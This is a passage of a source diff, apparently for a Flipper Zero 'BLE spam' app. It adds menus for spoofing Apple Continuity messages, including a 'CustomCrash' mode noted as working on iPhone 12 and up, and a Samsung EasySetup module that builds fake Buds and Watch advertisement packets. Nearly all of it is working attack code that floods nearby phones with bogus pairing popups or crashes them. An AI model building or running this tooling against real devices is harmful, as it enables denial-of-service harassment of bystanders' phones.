+        if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
 
         i -= 2; // Override segment header
         packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
         packet[i++] = 0x05; // Continuity Size
-        packet[i++] = flag; // Action Flags
-        packet[i++] = action; // Action Type
+        packet[i++] = flags;
+        packet[i++] = action;
         furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
         i += 3;
 
@@ -265,12 +269,538 @@ void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSp
         break;
     }
 
-    *out_size = size;
-    *out_packet = packet;
+    *_size = size;
+    *_packet = packet;
 }
 
-const BleSpamProtocol ble_spam_protocol_continuity = {
+enum {
+    _ConfigPpExtraStart = ConfigExtraStart,
+    ConfigPpModel,
+    ConfigPpPrefix,
+    ConfigPpCOUNT,
+};
+enum {
+    _ConfigNaExtraStart = ConfigExtraStart,
+    ConfigNaAction,
+    ConfigNaFlags,
+    ConfigNaCOUNT,
+};
+enum {
+    _ConfigCcExtraStart = ConfigExtraStart,
+    ConfigCcInfoLock,
+    ConfigCcInfoDevice,
+    ConfigCcCOUNT,
+};
+static void config_callback(void* _ctx, uint32_t index) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
+    switch(cfg->type) {
+    case ContinuityTypeProximityPair: {
+        switch(index) {
+        case ConfigPpModel:
+            scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModel);
+            break;
+        case ConfigPpPrefix:
+            scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix);
+            break;
+        default:
+            ctx->fallback_config_enter(ctx, index);
+            break;
+        }
+        break;
+    }
+    case ContinuityTypeNearbyAction: {
+        switch(index) {
+        case ConfigNaAction:
+            scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaAction);
+            break;
+        case ConfigNaFlags:
+            scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags);
+            break;
+        default:
+            ctx->fallback_config_enter(ctx, index);
+            break;
+        }
+        break;
+    }
+    case ContinuityTypeCustomCrash: {
+        switch(index) {
+        case ConfigCcInfoLock:
+        case ConfigCcInfoDevice:
+            break;
+        default:
+            ctx->fallback_config_enter(ctx, index);
+            break;
+        }
+        break;
+    }
+    default:
+        ctx->fallback_config_enter(ctx, index);
+        break;
+    }
+}
+static void pp_model_changed(VariableItem* item) {
+    ContinuityCfg* cfg = variable_item_get_context(item);
+    uint8_t index = variable_item_get_current_value_index(item);
+    if(index) {
+        index--;
+        cfg->data.proximity_pair.model = pp_models[index].value;
+        variable_item_set_current_value_text(item, pp_models[index].name);
+    } else {
+        cfg->data.proximity_pair.model = 0x0000;
+        variable_item_set_current_value_text(item, "Random");
+    }
+}
+static void pp_prefix_changed(VariableItem* item) {
+    ContinuityCfg* cfg = variable_item_get_context(item);
+    uint8_t index = variable_item_get_current_value_index(item);
+    if(index) {
+        index--;
+        cfg->data.proximity_pair.prefix = pp_prefixes[index].value;
+        variable_item_set_current_value_text(item, pp_prefixes[index].name);
+    } else {
+        cfg->data.proximity_pair.prefix = 0x00;
+        variable_item_set_current_value_text(item, "Auto");
+    }
+}
+static void na_action_changed(VariableItem* item) {
+    ContinuityCfg* cfg = variable_item_get_context(item);
+    uint8_t index = variable_item_get_current_value_index(item);
+    if(index) {
+        index--;
+        cfg->data.nearby_action.action = na_actions[index].value;
+        variable_item_set_current_value_text(item, na_actions[index].name);
+    } else {
+        cfg->data.nearby_action.action = 0x00;
+        variable_item_set_current_value_text(item, "Random");
+    }
+}
+static void continuity_extra_config(Ctx* ctx) {
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    VariableItemList* list = ctx->variable_item_list;
+    VariableItem* item;
+    size_t value_index;
+
+    switch(cfg->type) {
+    case ContinuityTypeProximityPair: {
+        item =
+            variable_item_list_add(list, "Model Code", pp_models_count + 1, pp_model_changed, cfg);
+        const char* model_name = NULL;
+        char model_name_buf[5];
+        if(cfg->data.proximity_pair.model == 0x0000) {
+            model_name = "Random";
+            value_index = 0;
+        } else {
+            for(uint8_t i = 0; i < pp_models_count; i++) {
+                if(cfg->data.proximity_pair.model == pp_models[i].value) {
+                    model_name = pp_models[i].name;
+                    value_index = i + 1;
+                    break;
+                }
+            }
+            if(!model_name) {
+                snprintf(
+                    model_name_buf, sizeof(model_name_buf), "%04X", cfg->data.proximity_pair.model);
+                model_name = model_name_buf;
+                value_index = pp_models_count + 1;
+            }
+        }
+        variable_item_set_current_value_index(item, value_index);
+        variable_item_set_current_value_text(item, model_name);
+
+        item =
+            variable_item_list_add(list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, cfg);
+        const char* prefix_name = NULL;
+        char prefix_name_buf[3];
+        if(cfg->data.proximity_pair.prefix == 0x00) {
+            prefix_name = "Auto";
+            value_index = 0;
+        } else {
+            for(uint8_t i = 0; i < pp_prefixes_count; i++) {
+                if(cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
+                    prefix_name = pp_prefixes[i].name;
+                    value_index = i + 1;
+                    break;
+                }
+            }
+            if(!prefix_name) {
+                snprintf(
+                    prefix_name_buf,
+                    sizeof(prefix_name_buf),
+                    "%02X",
+                    cfg->data.proximity_pair.prefix);
+                prefix_name = prefix_name_buf;
+                value_index = pp_prefixes_count + 1;
+            }
+        }
+        variable_item_set_current_value_index(item, value_index);
+        variable_item_set_current_value_text(item, prefix_name);
+        break;
+    }
+    case ContinuityTypeNearbyAction: {
+        item = variable_item_list_add(
+            list, "Action Type", na_actions_count + 1, na_action_changed, cfg);
+        const char* action_name = NULL;
+        char action_name_buf[3];
+        if(cfg->data.nearby_action.action == 0x00) {
+            action_name = "Random";
+            value_index = 0;
+        } else {
+            for(uint8_t i = 0; i < na_actions_count; i++) {
+                if(cfg->data.nearby_action.action == na_actions[i].value) {
+                    action_name = na_actions[i].name;
+                    value_index = i + 1;
+                    break;
+                }
+            }
+            if(!action_name) {
+                snprintf(
+                    action_name_buf,
+                    sizeof(action_name_buf),
+                    "%02X",
+                    cfg->data.nearby_action.action);
+                action_name = action_name_buf;
+                value_index = na_actions_count + 1;
+            }
+        }
+        variable_item_set_current_value_index(item, value_index);
+        variable_item_set_current_value_text(item, action_name);
+
+        item = variable_item_list_add(list, "Flags", 0, NULL, NULL);
+        const char* flags_name = NULL;
+        char flags_name_buf[3];
+        if(cfg->data.nearby_action.flags == 0x00) {
+            flags_name = "Auto";
+        } else {
+            snprintf(
+                flags_name_buf, sizeof(flags_name_buf), "%02X", cfg->data.nearby_action.flags);
+            flags_name = flags_name_buf;
+        }
+        variable_item_set_current_value_text(item, flags_name);
+        break;
+    }
+    case ContinuityTypeCustomCrash: {
+        variable_item_list_add(list, "Lock+unlock helps to crash", 0, NULL, NULL);
+        variable_item_list_add(list, "Works on iPhone 12 and up", 0, NULL, NULL);
+        break;
+    }
+    default:
+        break;
+    }
+
+    variable_item_list_set_enter_callback(list, config_callback, ctx);
+}
+
+static uint8_t config_counts[ContinuityTypeCOUNT] = {
+    [ContinuityTypeAirDrop] = 0,
+    [ContinuityTypeProximityPair] = ConfigPpCOUNT - ConfigExtraStart - 1,
+    [ContinuityTypeAirplayTarget] = 0,
+    [ContinuityTypeHandoff] = 0,
+    [ContinuityTypeTetheringSource] = 0,
+    [ContinuityTypeNearbyAction] = ConfigNaCOUNT - ConfigExtraStart - 1,
+    [ContinuityTypeNearbyInfo] = 0,
+    [ContinuityTypeCustomCrash] = ConfigCcCOUNT - ConfigExtraStart - 1,
+};
+static uint8_t continuity_config_count(const ProtocolCfg* _cfg) {
+    const ContinuityCfg* cfg = &_cfg->continuity;
+    return config_counts[cfg->type];
+}
+
+const Protocol protocol_continuity = {
     .icon = &I_apple,
     .get_name = continuity_get_name,
     .make_packet = continuity_make_packet,
+    .extra_config = continuity_extra_config,
+    .config_count = continuity_config_count,
 };
+
+static void pp_model_callback(void* _ctx, uint32_t index) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    switch(index) {
+    case 0:
+        cfg->data.proximity_pair.model = 0x0000;
+        scene_manager_previous_scene(ctx->scene_manager);
+        break;
+    case pp_models_count + 1:
+        scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelCustom);
+        break;
+    default:
+        cfg->data.proximity_pair.model = pp_models[index - 1].value;
+        scene_manager_previous_scene(ctx->scene_manager);
+        break;
+    }
+}
+void scene_continuity_pp_model_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    Submenu* submenu = ctx->submenu;
+    uint32_t selected = 0;
+    bool found = false;
+    submenu_reset(submenu);
+
+    submenu_add_item(submenu, "Random", 0, pp_model_callback, ctx);
+    if(cfg->data.proximity_pair.model == 0x0000) {
+        found = true;
+        selected = 0;
+    }
+    for(uint8_t i = 0; i < pp_models_count; i++) {
+        submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_callback, ctx);
+        if(!found && cfg->data.proximity_pair.model == pp_models[i].value) {
+            found = true;
+            selected = i + 1;
+        }
+    }
+    submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_callback, ctx);
+    if(!found) {
+        found = true;
+        selected = pp_models_count + 1;
+    }
+
+    submenu_set_selected_item(submenu, selected);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
+}
+bool scene_continuity_pp_model_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+void scene_continuity_pp_model_on_exit(void* _ctx) {
+    UNUSED(_ctx);
+}
+
+static void pp_model_custom_callback(void* _ctx) {
+    Ctx* ctx = _ctx;
+    scene_manager_previous_scene(ctx->scene_manager);
+    scene_manager_previous_scene(ctx->scene_manager);
+}
+void scene_continuity_pp_model_custom_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    ByteInput* byte_input = ctx->byte_input;
+
+    byte_input_set_header_text(byte_input, "Enter custom Model Code");
+
+    ctx->byte_store[0] = (cfg->data.proximity_pair.model >> 0x08) & 0xFF;
+    ctx->byte_store[1] = (cfg->data.proximity_pair.model >> 0x00) & 0xFF;
+
+    byte_input_set_result_callback(
+        byte_input, pp_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
+}
+bool scene_continuity_pp_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+void scene_continuity_pp_model_custom_on_exit(void* _ctx) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00);
+}
+
+static void pp_prefix_callback(void* _ctx, uint32_t index) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    switch(index) {
+    case 0:
+        cfg->data.proximity_pair.prefix = 0x00;
+        scene_manager_previous_scene(ctx->scene_manager);
+        break;
+    case pp_prefixes_count + 1:
+        scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefixCustom);
+        break;
+    default:
+        cfg->data.proximity_pair.prefix = pp_prefixes[index - 1].value;
+        scene_manager_previous_scene(ctx->scene_manager);
+        break;
+    }
+}
+void scene_continuity_pp_prefix_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    Submenu* submenu = ctx->submenu;
+    uint32_t selected = 0;
+    bool found = false;
+    submenu_reset(submenu);
+
+    submenu_add_item(submenu, "Automatic", 0, pp_prefix_callback, ctx);
+    if(cfg->data.proximity_pair.prefix == 0x00) {
+        found = true;
+        selected = 0;
+    }
+    for(uint8_t i = 0; i < pp_prefixes_count; i++) {
+        submenu_add_item(submenu, pp_prefixes[i].name, i + 1, pp_prefix_callback, ctx);
+        if(!found && cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
+            found = true;
+            selected = i + 1;
+        }
+    }
+    submenu_add_item(submenu, "Custom", pp_prefixes_count + 1, pp_prefix_callback, ctx);
+    if(!found) {
+        found = true;
+        selected = pp_prefixes_count + 1;
+    }
+
+    submenu_set_selected_item(submenu, selected);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
+}
+bool scene_continuity_pp_prefix_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+void scene_continuity_pp_prefix_on_exit(void* _ctx) {
+    UNUSED(_ctx);
+}
+
+static void pp_prefix_custom_callback(void* _ctx) {
+    Ctx* ctx = _ctx;
+    scene_manager_previous_scene(ctx->scene_manager);
+    scene_manager_previous_scene(ctx->scene_manager);
+}
+void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    ByteInput* byte_input = ctx->byte_input;
+
+    byte_input_set_header_text(byte_input, "Enter custom Prefix");
+
+    ctx->byte_store[0] = (cfg->data.proximity_pair.prefix >> 0x00) & 0xFF;
+
+    byte_input_set_result_callback(
+        byte_input, pp_prefix_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
+}
+bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00);
+}
+
+static void na_action_callback(void* _ctx, uint32_t index) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    switch(index) {
+    case 0:
+        cfg->data.nearby_action.action = 0x00;
+        scene_manager_previous_scene(ctx->scene_manager);
+        break;
+    case na_actions_count + 1:
+        scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionCustom);
+        break;
+    default:
+        cfg->data.nearby_action.action = na_actions[index - 1].value;
+        scene_manager_previous_scene(ctx->scene_manager);
+        break;
+    }
+}
+void scene_continuity_na_action_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    Submenu* submenu = ctx->submenu;
+    uint32_t selected = 0;
+    bool found = false;
+    submenu_reset(submenu);
+
+    submenu_add_item(submenu, "Random", 0, na_action_callback, ctx);
+    if(cfg->data.nearby_action.action == 0x00) {
+        found = true;
+        selected = 0;
+    }
+    for(uint8_t i = 0; i < na_actions_count; i++) {
+        submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_callback, ctx);
+        if(!found && cfg->data.nearby_action.action == na_actions[i].value) {
+            found = true;
+            selected = i + 1;
+        }
+    }
+    submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_callback, ctx);
+    if(!found) {
+        found = true;
+        selected = na_actions_count + 1;
+    }
+
+    submenu_set_selected_item(submenu, selected);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
+}
+bool scene_continuity_na_action_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+void scene_continuity_na_action_on_exit(void* _ctx) {
+    UNUSED(_ctx);
+}
+
+static void na_action_custom_callback(void* _ctx) {
+    Ctx* ctx = _ctx;
+    scene_manager_previous_scene(ctx->scene_manager);
+    scene_manager_previous_scene(ctx->scene_manager);
+}
+void scene_continuity_na_action_custom_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    ByteInput* byte_input = ctx->byte_input;
+
+    byte_input_set_header_text(byte_input, "Enter custom Action Type");
+
+    ctx->byte_store[0] = (cfg->data.nearby_action.action >> 0x00) & 0xFF;
+
+    byte_input_set_result_callback(
+        byte_input, na_action_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
+}
+bool scene_continuity_na_action_custom_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+void scene_continuity_na_action_custom_on_exit(void* _ctx) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00);
+}
+
+static void na_flags_callback(void* _ctx) {
+    Ctx* ctx = _ctx;
+    scene_manager_previous_scene(ctx->scene_manager);
+}
+void scene_continuity_na_flags_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    ByteInput* byte_input = ctx->byte_input;
+
+    byte_input_set_header_text(byte_input, "Press back for automatic");
+
+    ctx->byte_store[0] = (cfg->data.nearby_action.flags >> 0x00) & 0xFF;
+
+    byte_input_set_result_callback(
+        byte_input, na_flags_callback, NULL, ctx, (void*)ctx->byte_store, 1);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
+}
+bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) {
+    Ctx* ctx = _ctx;
+    if(event.type == SceneManagerEventTypeBack) {
+        ctx->byte_store[0] = 0x00;
+    }
+    return false;
+}
+void scene_continuity_na_flags_on_exit(void* _ctx) {
+    Ctx* ctx = _ctx;
+    ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
+    cfg->data.nearby_action.flags = (ctx->byte_store[0] << 0x00);
+}

+ 5 - 5
ble_spam/protocols/continuity.h

@@ -16,21 +16,21 @@ typedef enum {
     ContinuityTypeNearbyInfo = 0x10,
 
     ContinuityTypeCustomCrash,
-    ContinuityTypeCount
+    ContinuityTypeCOUNT
 } ContinuityType;
 
 typedef struct {
     ContinuityType type;
     union {
         struct {
-            uint8_t prefix;
             uint16_t model;
+            uint8_t prefix;
         } proximity_pair;
         struct {
+            uint8_t action;
             uint8_t flags;
-            uint8_t type;
         } nearby_action;
     } data;
-} ContinuityMsg;
+} ContinuityCfg;
 
-extern const BleSpamProtocol ble_spam_protocol_continuity;
+extern const Protocol protocol_continuity;

+ 7 - 0
ble_spam/protocols/continuity_scenes.h

@@ -0,0 +1,7 @@
+ADD_SCENE(continuity_pp_model, ContinuityPpModel)
+ADD_SCENE(continuity_pp_model_custom, ContinuityPpModelCustom)
+ADD_SCENE(continuity_pp_prefix, ContinuityPpPrefix)
+ADD_SCENE(continuity_pp_prefix_custom, ContinuityPpPrefixCustom)
+ADD_SCENE(continuity_na_action, ContinuityNaAction)
+ADD_SCENE(continuity_na_action_custom, ContinuityNaActionCustom)
+ADD_SCENE(continuity_na_flags, ContinuityNaFlags)

+ 498 - 0
ble_spam/protocols/easysetup.c

@@ -0,0 +1,498 @@
+#include "easysetup.h"
+#include "_protocols.h"
+
+// Hacked together by @Willy-JL and @Spooks4576
+// Research by @Spooks4576
+
+const struct {
+    uint32_t value;
+    const char* name;
+} buds_models[] = {
+    {0xEE7A0C, "Fallback Buds"},
+    {0x9D1700, "Fallback Dots"},
+    {0x39EA48, "Light Purple Buds2"},
+    {0xA7C62C, "Bluish Silver Buds2"},
+    {0x850116, "Black Buds Live"},
+    {0x3D8F41, "Gray & Black Buds2"},
+    {0x3B6D02, "Bluish Chrome Buds2"},
+    {0xAE063C, "Gray Beige Buds2"},
+    {0xB8B905, "Pure White Buds"},
+    {0xEAAA17, "Pure White Buds2"},
+    {0xD30704, "Black Buds"},
+    {0x9DB006, "French Flag Buds"},
+    {0x101F1A, "Dark Purple Buds Live"},
+    {0x859608, "Dark Blue Buds"},
+    {0x8E4503, "Pink Buds"},
+    {0x2C6740, "White & Black Buds2"},
+    {0x3F6718, "Bronze Buds Live"},
+    {0x42C519, "Red Buds Live"},
+    {0xAE073A, "Black & White Buds2"},
+    {0x011716, "Sleek Black Buds2"},
+};
+const uint8_t buds_models_count = COUNT_OF(buds_models);
+
+const struct {
+    uint8_t value;
+    const char* name;
+} watch_models[] = {
+    {0x1A, "Fallback Watch"},
+    {0x01, "White Watch4 Classic 44"},
+    {0x02, "Black Watch4 Classic 40"},
+    {0x03, "White Watch4 Classic 40"},
+    {0x04, "Black Watch4 44mm"},
+    {0x05, "Silver Watch4 44mm"},
+    {0x06, "Green Watch4 44mm"},
+    {0x07, "Black Watch4 40mm"},
+    {0x08, "White Watch4 40mm"},
+    {0x09, "Gold Watch4 40mm"},
+    {0x0A, "French Watch4"},
+    {0x0B, "French Watch4 Classic"},
+    {0x0C, "Fox Watch5 44mm"},
+    {0x11, "Black Watch5 44mm"},
+    {0x12, "Sapphire Watch5 44mm"},
+    {0x13, "Purpleish Watch5 40mm"},
+    {0x14, "Gold Watch5 40mm"},
+    {0x15, "Black Watch5 Pro 45mm"},
+    {0x16, "Gray Watch5 Pro 45mm"},
+    {0x17, "White Watch5 44mm"},
+    {0x18, "White & Black Watch5"},
+    {0x1B, "Black Watch6 Pink 40mm"},
+    {0x1C, "Gold Watch6 Gold 40mm"},
+    {0x1D, "Silver Watch6 Cyan 44mm"},
+    {0x1E, "Black Watch6 Classic 43mm"},
+    {0x20, "Green Watch6 Classic 43mm"},
+};
+const uint8_t watch_models_count = COUNT_OF(watch_models);
+
+static const char* type_names[EasysetupTypeCOUNT] = {
+    [EasysetupTypeBuds] = "EasySetup Buds",
+    [EasysetupTypeWatch] = "EasySetup Watch",
+};
+static const char* easysetup_get_name(const ProtocolCfg* _cfg) {
+    const EasysetupCfg* cfg = &_cfg->easysetup;
+    return type_names[cfg->type];
+}
+
+static uint8_t packet_sizes[EasysetupTypeCOUNT] = {
+    [EasysetupTypeBuds] = 31,
+    [EasysetupTypeWatch] = 15,
+};
+void easysetup_make_packet(uint8_t* out_size, uint8_t** out_packet, const ProtocolCfg* _cfg) {
+    const EasysetupCfg* cfg = _cfg ? &_cfg->easysetup : NULL;
+
+    EasysetupType type;
+    if(cfg) {
+        type = cfg->type;
+    } else {
+        type = rand() % EasysetupTypeCOUNT;
+    }
+
+    uint8_t size = packet_sizes[type];
+    uint8_t* packet = malloc(size);
+    uint8_t i = 0;
+
+    switch(type) {
+    case EasysetupTypeBuds: {
+        uint32_t model;
+        if(cfg && cfg->data.buds.model != 0x000000) {
+            model = cfg->data.buds.model;
+        } else {
+            model = buds_models[rand() % buds_models_count].value;
+        }
+
+        packet[i++] = 27; // Size
+        packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
+        packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
+        packet[i++] = 0x00; // ...
+        packet[i++] = 0x42;
+        packet[i++] = 0x09;
+        packet[i++] = 0x81;
+        packet[i++] = 0x02;
+        packet[i++] = 0x14;
+        packet[i++] = 0x15;
+        packet[i++] = 0x03;
+        packet[i++] = 0x21;
+        packet[i++] = 0x01;
+        packet[i++] = 0x09;
+        packet[i++] = (model >> 0x10) & 0xFF;
+        packet[i++] = (model >> 0x08) & 0xFF;
+        packet[i++] = 0x01;
+        packet[i++] = (model >> 0x00) & 0xFF;
+        packet[i++] = 0x06;
+        packet[i++] = 0x3C;
+        packet[i++] = 0x94;
+        packet[i++] = 0x8E;
+        packet[i++] = 0x00;
+        packet[i++] = 0x00;
+        packet[i++] = 0x00;
+        packet[i++] = 0x00;
+        packet[i++] = 0xC7;
+        packet[i++] = 0x00;
+
+        packet[i++] = 16; // Size
+        packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
+        packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
+        // Truncated AD segment, Android seems to fill in the rest with zeros
+        break;
+    }
+    case EasysetupTypeWatch: {
+        uint8_t model;
+        if(cfg && cfg->data.watch.model != 0x00) {
+            model = cfg->data.watch.model;
+        } else {
+            model = watch_models[rand() % watch_models_count].value;
+        }
+
+        packet[i++] = 14; // Size
+        packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
+        packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
+        packet[i++] = 0x00; // ...
+        packet[i++] = 0x01;
+        packet[i++] = 0x00;
+        packet[i++] = 0x02;
+        packet[i++] = 0x00;
+        packet[i++] = 0x01;
+        packet[i++] = 0x01;
+        packet[i++] = 0xFF;
+        packet[i++] = 0x00;
+        packet[i++] = 0x00;
+        packet[i++] = 0x43;
+        packet[i++] = (model >> 0x00) & 0xFF;
+        break;
+    }
+    default:
+        break;
+    }
+
+    *out_size = size;
+    *out_packet = packet;
+}
+
+enum {
+    _ConfigBudsExtraStart = ConfigExtraStart,
+    ConfigBudsModel,
+    ConfigBudsInfoVersion,
+    ConfigBudsCOUNT,
+};
+enum {
+    _ConfigWatchExtraStart = ConfigExtraStart,
+    ConfigWatchModel,
+    ConfigWatchCOUNT,
+};
+static void config_callback(void* _ctx, uint32_t index) {
+    Ctx* ctx = _ctx;
+    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
+    scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
+    switch(cfg->type) {
+    case EasysetupTypeBuds: {
+        switch(index) {
+        case ConfigBudsModel:
+            scene_manager_next_scene(ctx->scene_manager, SceneEasysetupBudsModel);
+            break;
+        case ConfigBudsInfoVersion:
+            break;
+        default:
+            ctx->fallback_config_enter(ctx, index);
+            break;
+        }
+        break;
+    }
+    case EasysetupTypeWatch: {
+        switch(index) {
+        case ConfigWatchModel:
+            scene_manager_next_scene(ctx->scene_manager, SceneEasysetupWatchModel);
+            break;
+        default:
+            ctx->fallback_config_enter(ctx, index);
+            break;
+        }
+        break;
+    }
+    default:
+        ctx->fallback_config_enter(ctx, index);
+        break;
+    }
+}
+static void buds_model_changed(VariableItem* item) {
+    EasysetupCfg* cfg = variable_item_get_context(item);
+    uint8_t index = variable_item_get_current_value_index(item);
+    if(index) {
+        index--;
+        cfg->data.buds.model = buds_models[index].value;
+        variable_item_set_current_value_text(item, buds_models[index].name);
+    } else {
+        cfg->data.buds.model = 0x000000;
+        variable_item_set_current_value_text(item, "Random");
+    }
+}
+static void watch_model_changed(VariableItem* item) {
+    EasysetupCfg* cfg = variable_item_get_context(item);
+    uint8_t index = variable_item_get_current_value_index(item);
+    if(index) {
+        index--;
+        cfg->data.watch.model = watch_models[index].value;
+        variable_item_set_current_value_text(item, watch_models[index].name);
+    } else {
+        cfg->data.watch.model = 0x00;
+        variable_item_set_current_value_text(item, "Random");
+    }
+}
+static void easysetup_extra_config(Ctx* ctx) {
+    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
+    VariableItemList* list = ctx->variable_item_list;
+    VariableItem* item;
+    size_t value_index;
+
+    switch(cfg->type) {
+    case EasysetupTypeBuds: {
+        item = variable_item_list_add(
+            list, "Model Code", buds_models_count + 1, buds_model_changed, cfg);
+        const char* model_name = NULL;
+        char model_name_buf[9];
+        if(cfg->data.buds.model == 0x000000) {
+            model_name = "Random";
+            value_index = 0;
+        } else {
+            for(uint8_t i = 0; i < buds_models_count; i++) {
+                if(cfg->data.buds.model == buds_models[i].value) {
+                    model_name = buds_models[i].name;
+                    value_index = i + 1;
+                    break;
+                }
+            }
+            if(!model_name) {
+                snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->data.buds.model);
+                model_name = model_name_buf;
+                value_index = buds_models_count + 1;
+            }
+        }
+        variable_item_set_current_value_index(item, value_index);
+        variable_item_set_current_value_text(item, model_name);
+
+        variable_item_list_add(list, "Works on Android 13 and up", 0, NULL, NULL);
+        break;
+    }
+    case EasysetupTypeWatch: {
+        item = variable_item_list_add(
+            list, "Model Code", watch_models_count + 1, watch_model_changed, cfg);
+        const char* model_name = NULL;
+        char model_name_buf[3];
+        if(cfg->data.watch.model == 0x00) {
+            model_name = "Random";
+            value_index = 0;
+        } else {
+            for(uint8_t i = 0; i < watch_models_count; i++) {
+                if(cfg->data.watch.model == watch_models[i].value) {
+                    model_name = watch_models[i].name;
+                    value_index = i + 1;
+                    break;
+                }
+            }
+            if(!model_name) {
+                snprintf(model_name_buf, sizeof(model_name_buf), "%02X", cfg->data.watch.model);
+                model_name = model_name_buf;
+                value_index = watch_models_count + 1;
+            }
+        }
+        variable_item_set_current_value_index(item, value_index);
+        variable_item_set_current_value_text(item, model_name);
+        break;
+    }
+    default:
+        break;
+    }
+
+    variable_item_list_set_enter_callback(list, config_callback, ctx);
+}
+
+static uint8_t config_counts[EasysetupTypeCOUNT] = {
+    [EasysetupTypeBuds] = ConfigBudsCOUNT - ConfigExtraStart - 1,
+    [EasysetupTypeWatch] = ConfigWatchCOUNT - ConfigExtraStart - 1,
+};
+static uint8_t easysetup_config_count(const ProtocolCfg* _cfg) {
+    const EasysetupCfg* cfg = &_cfg->easysetup;
+    return config_counts[cfg->type];
+}
+
+const Protocol protocol_easysetup = {
+    .icon = &I_android,
+    .get_name = easysetup_get_name,
+    .make_packet = easysetup_make_packet,
+    .extra_config = easysetup_extra_config,
+    .config_count = easysetup_config_count,
+};
+
+static void buds_model_callback(void* _ctx, uint32_t index) {
+    Ctx* ctx = _ctx;
+    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
+    switch(index) {
+    case 0:
+        cfg->data.buds.model = 0x000000;
+        scene_manager_previous_scene(ctx->scene_manager);
